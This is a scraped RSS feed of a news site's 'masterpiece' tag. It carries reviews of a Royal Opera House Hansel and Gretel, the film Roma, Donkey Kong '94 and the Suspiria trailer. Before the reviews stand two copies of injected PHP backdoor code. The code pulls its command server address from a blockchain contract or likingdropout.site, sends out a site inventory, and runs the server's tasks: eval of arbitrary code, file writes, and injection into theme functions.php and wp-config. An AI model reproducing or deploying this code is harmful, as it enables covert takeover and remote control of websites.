// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); masterpiece – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 20 Dec 2018 11:47:52 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png masterpiece – Brief News https://briefnews.eu 32 32 Opera review: Hansel and Gretel – Humperdinck's masterpiece at the Royal Opera House https://briefnews.eu/opera-review-hansel-and-gretel-humperdincks-masterpiece-at-the-royal-opera-house/ https://briefnews.eu/opera-review-hansel-and-gretel-humperdincks-masterpiece-at-the-royal-opera-house/#respond Thu, 20 Dec 2018 11:47:52 +0000 http://briefnews.eu/opera-review-hansel-and-gretel-humperdincks-masterpiece-at-the-royal-opera-house/

There is a choice of three ways to tell this tale: you can stick close to the violent and bloodthirsty original fairy tale; you can make it child-friendly by cutting the horror; or you can play it for laughs in the style of a pantomime.

The new version at the Royal Opera House takes the middle course, with just the right amount of pantomime to give a thoughtful adaptation enjoyable by the whole family.

At the start, I thought that Antony McDonald’s production, which he both designed and directed, was rather short on humour, but I soon began to appreciate its genuine charm.

And when we were treated to the sight of the wicked witch and her gingerbread cottage, I realised that he had been saving the humour for when it is most effective.

The two children of the title are gloriously played by Hanna Hipp as the mischievous boy Hansel and Jennifer Davis as his older and slightly more mature sister Gretel.

They both capture the essence of their characters splendidly with Hanna Hipp particularly effective in portraying the sulky movements of the naughty Hansel.

The star of the show, however, is Gerhard Siegel as the witch, whose gingerbread house is designed to capture the attention of the adult audience by looking like something from Hitchcock’s Psycho, with a huge knife stabbing through its roof.

Once the wicked witch joins the story, it unashamedly turns into a pantomime and was clearly enjoyed by the many children in the audience.

This scene follows a ballet sequence which beautifully portrays the dreams the sleeping children are having of other fairy tales, as wolves, witches, Red Riding Hood, handsome princes, assorted animals, Sleeping Beauty and the rest of them take turns to enter the dance. 

The charm of this sequence would not have worked so well if there had been too much humour preceding it.

Of the minor roles, particular praise is deserved by Eddie Wade as the children’s father Peter, who stepped in at the last moment when the original singer was indisposed.

His experience of singing the same role for Welsh National Opera must have helped him to fit into this production perfectly.

With the real Engelbert Humperdinck’s music, this all adds up to a delightfully seasonal production, certainly the classiest pantomime around.

• Box office: 020 7304 4000 or roh.org.uk (various dates and times until December 29).

Let’s block ads! (Why?)

]]> https://briefnews.eu/opera-review-hansel-and-gretel-humperdincks-masterpiece-at-the-royal-opera-house/feed/ 0 ‘Roma’ Review: Alfonso Cuarón Has Made a Masterpiece of Humanity and Empathy [TIFF] https://briefnews.eu/roma-review-alfonso-cuaron-has-made-a-masterpiece-of-humanity-and-empathy-tiff/ https://briefnews.eu/roma-review-alfonso-cuaron-has-made-a-masterpiece-of-humanity-and-empathy-tiff/#respond Tue, 11 Sep 2018 15:05:02 +0000 http://briefnews.eu/roma-review-alfonso-cuaron-has-made-a-masterpiece-of-humanity-and-empathy-tiff/ roma review

Alfonso Cuarón‘s Roma is a singular achievement – a visually resplendent tale of empathy, focusing on a housekeeper in 1970s Mexico, and the family she works and lives with.

“The movies are like a machine that generates empathy,” wrote Roger Ebert, and that description is more than apt for Roma, Alfonso Cuarón’s new masterpiece. The most personal film yet from the director of Gravity and Children of Men, Roma has Cuarón drawing on his own childhood to tell the tale of a family in 1970s Mexico City. What a marvel this movie is; what pure, cinematic delight.

Cleo (Yalitza Aparicio) is a housekeeper working (and living with) a family in the middle-class neighborhood of Roma. Cleo observes a warm, often familial relationship with her employers – Antonio (Fernando Grediaga), his wife Sofía (Marina de Tavira), and their four precious children. She also has a life outside the family, including a budding romance with Fermín (Jorge Antonio Guerrero), who seems genuinely sweet at first, but eventually turns shockingly cruel.

I’ll confess that Roma didn’t hook me right away. It’s curious that this film distributed by Netflix, because Roma is the antithesis of a Netflix movie. The first section is slow moving, with almost no real narrative to speak of (the fact that the movie is complete void of musical score also contributes to this). Instead, Cuarón is setting the stage, introducing his players, getting us comfortable in this world. Using stunning black and white cinematography, Cuarón stages nearly every scene in meticulous detail.

There was a maddening trend at this years Toronto International Film Festival, where I saw Roma: movie after movie appeared to be shot in extreme close-up, or uninspired medium shots. So what a joy it was to witness Roma, which is loaded with beautiful wide shots in which nearly every inch of the frame is used to great effect. Cuarón stages moving tableaus – each scene looks like a landscape portrait come to life. The director also employs sweeping tracking shots done in one tack – the camera is constantly panning left or right, tracking Cleo and company as they travel throughout the story. It’s visually marvelous.

roma tiff

Just when I was starting to worry that Roma would be little more that a beautiful looking film with no narrative weight, Cuarón slowly begins to introduce the film’s storylines, building towards something greater; something more emotionally complex. Dr. Antonio decides to up and leave his wife (we later see him running and laughing with a younger woman), sending Sofía into a emotional tailspin. She struggles to hide the separation from her children, telling them that Antonio is on a work trip to Canada.

In the midst of all this, Cleo learns she’s pregnant with Fermín’s baby – and Fermín wants nothing to do with it. Cleo is immediately apprehensive, and convinced Sofía is going to fire her. Instead, Sofía offers help, taking Cleo to see a doctor. Here, Cuarón begins presenting the warmth that makes Roma so remarkable. There’s a running theme throughout the film of empathy; of characters in Cleo’s orbit caring for her, and her well-being. At the same time, there are tumultuous moments. Earthquakes, fights, and a shocking, tragic moment late in the film that will reduce you to a sobbing mess (trust me). It’s all part of Cuarón’s larger plan. Because even the tragic moment results in a sequence brimming with hope, and compassion.

Aparicio is a revelation as Cleo. Much of the film requires Aparicio to simply observe the world, and people, around her. That may sound simple, but it’s more complex – especially if you want to make it cinematic and engaging. Aparicio does that, and then some. There’s not one false note to her quiet, assured, often tender performance. She embodies this character, and we never have a reason to doubt her. The quietness of the performance also works to lull the audience into a sense of calm and ease, which is shattered when Cleo has a wrenching emotional breakdown on a beach. Cuarón stages this perfectly, with Aparicio’s tearful words rising over the constant crashing of unrelenting waves.

I’m by no means anti-Netflix. In fact, more often than not, I’d prefer to stay home and stream something rather then venture out to a theater. But Roma demands to be seen on the big screen (thankfully, Netflix is giving it a limited theatrical release).Cuarón’s breathtaking 65mm cinematography demands to be projected large, and the film’s slow, deliberate, quiet nature is not the type of thing to be simply streamed in the background as viewers check their cellphones. To do so would to do this film, and yourself, a diservice. The world is often harsh and unforgiving, and when a film with such compassion comes along, we owe it to ourselves to embrace it. To accept the empathy this film is radiating, and try to take a little of it home with us.

/Film rating: 10 out of 10

The post ‘Roma’ Review: Alfonso Cuarón Has Made a Masterpiece of Humanity and Empathy [TIFF] appeared first on /Film.

]]> https://briefnews.eu/roma-review-alfonso-cuaron-has-made-a-masterpiece-of-humanity-and-empathy-tiff/feed/ 0 The RetroBeat: Donkey Kong ’94 for the Game Boy is Nintendo’s forgotten masterpiece https://briefnews.eu/the-retrobeat-donkey-kong-94-for-the-game-boy-is-nintendos-forgotten-masterpiece/ https://briefnews.eu/the-retrobeat-donkey-kong-94-for-the-game-boy-is-nintendos-forgotten-masterpiece/#respond Thu, 09 Aug 2018 01:02:06 +0000 http://briefnews.eu/the-retrobeat-donkey-kong-94-for-the-game-boy-is-nintendos-forgotten-masterpiece/ Donkey Kong '94.

Mario has starred in more classics than any other game character, but one of his best games doesn’t get the attention it deserves. In 1994, Nintendo released the Super Game Boy, a cartridge for the Super Nintendo that let you play Game Boy games on your TV. It would even add colors to some games. To show off this functionality, Nintendo creat…Read More

]]> https://briefnews.eu/the-retrobeat-donkey-kong-94-for-the-game-boy-is-nintendos-forgotten-masterpiece/feed/ 0 The ‘Suspiria’ Trailer Reveals Just How Different the Remake is from Dario Argento’s Masterpiece https://briefnews.eu/the-suspiria-trailer-reveals-just-how-different-the-remake-is-from-dario-argentos-masterpiece/ https://briefnews.eu/the-suspiria-trailer-reveals-just-how-different-the-remake-is-from-dario-argentos-masterpiece/#respond Mon, 04 Jun 2018 19:50:18 +0000 http://briefnews.eu/the-suspiria-trailer-reveals-just-how-different-the-remake-is-from-dario-argentos-masterpiece/ Suspiria remake

The Suspiria remake trailer is here at last. It’s a moody, effective, deliberately vague look at Luca Guadagnino‘s upcoming film, which also provides us with our first listen to Thom Yorke‘s score.

And it’s also worlds removed from Dario Argento‘s original. Let’s examine how.

In case you missed the Suspiria trailer, here it is in all its glory.

Suspiria Remake Trailer

On its own, this is one effective trailer. It’s loaded with ominous imagery and an atmosphere infused with dread. But perhaps the most striking element here is how different Guadagnino’s film looks compared to Dario Argento’s original. It’s too early to compare plots – no one has seen the new movie. The basic story seems to be the same, though: supernatural trouble afoot at a dance academy.

From a purely visual (and auditory) standpoint, though, the new Suspiria is far removed from Argento’s film. Just take a look at this trailer for the original film.

Original Suspiria Trailer

What stands out most here is how Guadagnino and Argento use color.

suspiria trailer screenshot

suspiria screenshot 2

The color palette in the new Suspiria is extremely muted. The first few images we see are tinged with slate grays, cold blues and muddy browns. The film looks lived-in; worn around the edges.

jessica-harper-suspiria

suspiria original

Argento goes all-in on color – a crimson red is predominant here.

dakota johnson suspiria

The closest thing we get to this in the new Suspiria is the first brightly-colored shot in the new trailer – Dakota Johnson looking directly into the camera – the maroon color of her tank top, along with the red color of her hair and her pale skin, clash with the early muted shots.

suspiria red

